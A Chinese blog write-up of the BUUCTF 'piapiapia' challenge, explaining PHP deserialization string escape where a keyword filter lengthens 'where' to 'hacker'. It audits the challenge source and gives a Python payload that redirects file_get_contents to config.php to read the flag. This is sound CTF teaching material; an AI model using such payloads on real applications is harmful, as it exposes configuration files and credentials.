Loading... 当反序列化到足够的长度时,后面的数据会被扔掉。 来一个小实验简单说明一下: ```php <?php $a[0] = "hello "; $a[1] = "world!"; $tmp = serialize($a); echo $tmp . "<br>"; var_dump(unserialize($tmp)); ?> ``` 输出: ``` a:2:{i:0;s:6:"hello ";i:1;s:6:"world!";} array(2) { [0]=> string(6) "hello " [1]=> string(6) "world!" } ``` 如果我们将序列化后的字符串改一改: ``` a:2:{i:0;s:6:"hello ";i:1;s:6:"hacker";}";i:1;s:6:"world!";} ``` 输出就会变成这样: ``` array(2) { [0]=> string(6) "hello " [1]=> string(6) "hacker" } ``` 多出来的那些字符就给舍弃了。 下面来一道题目来具体操作一下吧。 ## BUUCTF-piapiapia (0ctf_2016_unserialize) [部分源码](https://blog.domineto.top/usr/uploads/2019/08/2816448505.zip) 进去后扫一波目录,发现 `www.zip` 目录下有源码。 简单审计源码发现,config.php 文件里有 flag : ```php <?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = ''; $config['database'] = ''; $flag = ''; ?> ``` profile.php 文件里有危险函数 `file_get_contents` ,并且还有反序列化。 ```php <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?> ``` 查找一下,发现在 update.php 中序列化了这四个变量: ```php $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); ``` 并且这些变量都是可控的。 跟进这个 `update_profile` 函数,发现这个函数调用了一些 waf : ```php public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } ``` ```php public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } ``` 可以看到 waf 将一些关键字 `'select', 'insert', 'update', 'delete', 'where'` 替换成了 `hacker`。 注意到 `where` 和 `hacker` 的字符数量不同,这里就存在反序列化字符逃逸了。 那么整个流程就出来了:通过传入恶意字符串导致 config.php 逃逸,从而使 photo 变量的值为 config.php ,再通过 profile.php 中的 file_get_contents 函数来读取 flag 。 最后一个问题就是对四个变量的过滤了。观察可以发现 nickname 的过滤用数组就可以绕过:preg_match 遇到数组会返回 false ,strlen 也可以通过数组绕过。于是构造 payload: ```python # encoding: utf-8 s = '";}s:5:"photo";s:10:"config.php";}' l = len (s) a = "where" * l + s print (a) ``` ![](https://blog.domineto.top/usr/uploads/2019/08/4115771618.png) 访问 profile.php 即可拿到源码,得到 flag 。 @> 这里解释一下为什么 payload 中前面要有 ";}" 。这是因为我们将 nickname 改为数组了,所以需要闭合前面的数组。(具体自己试验一下就知道了 :D) 最后修改:2019 年 08 月 18 日 © 允许规范转载 赞 如果觉得我的文章对你有用,请随意赞赏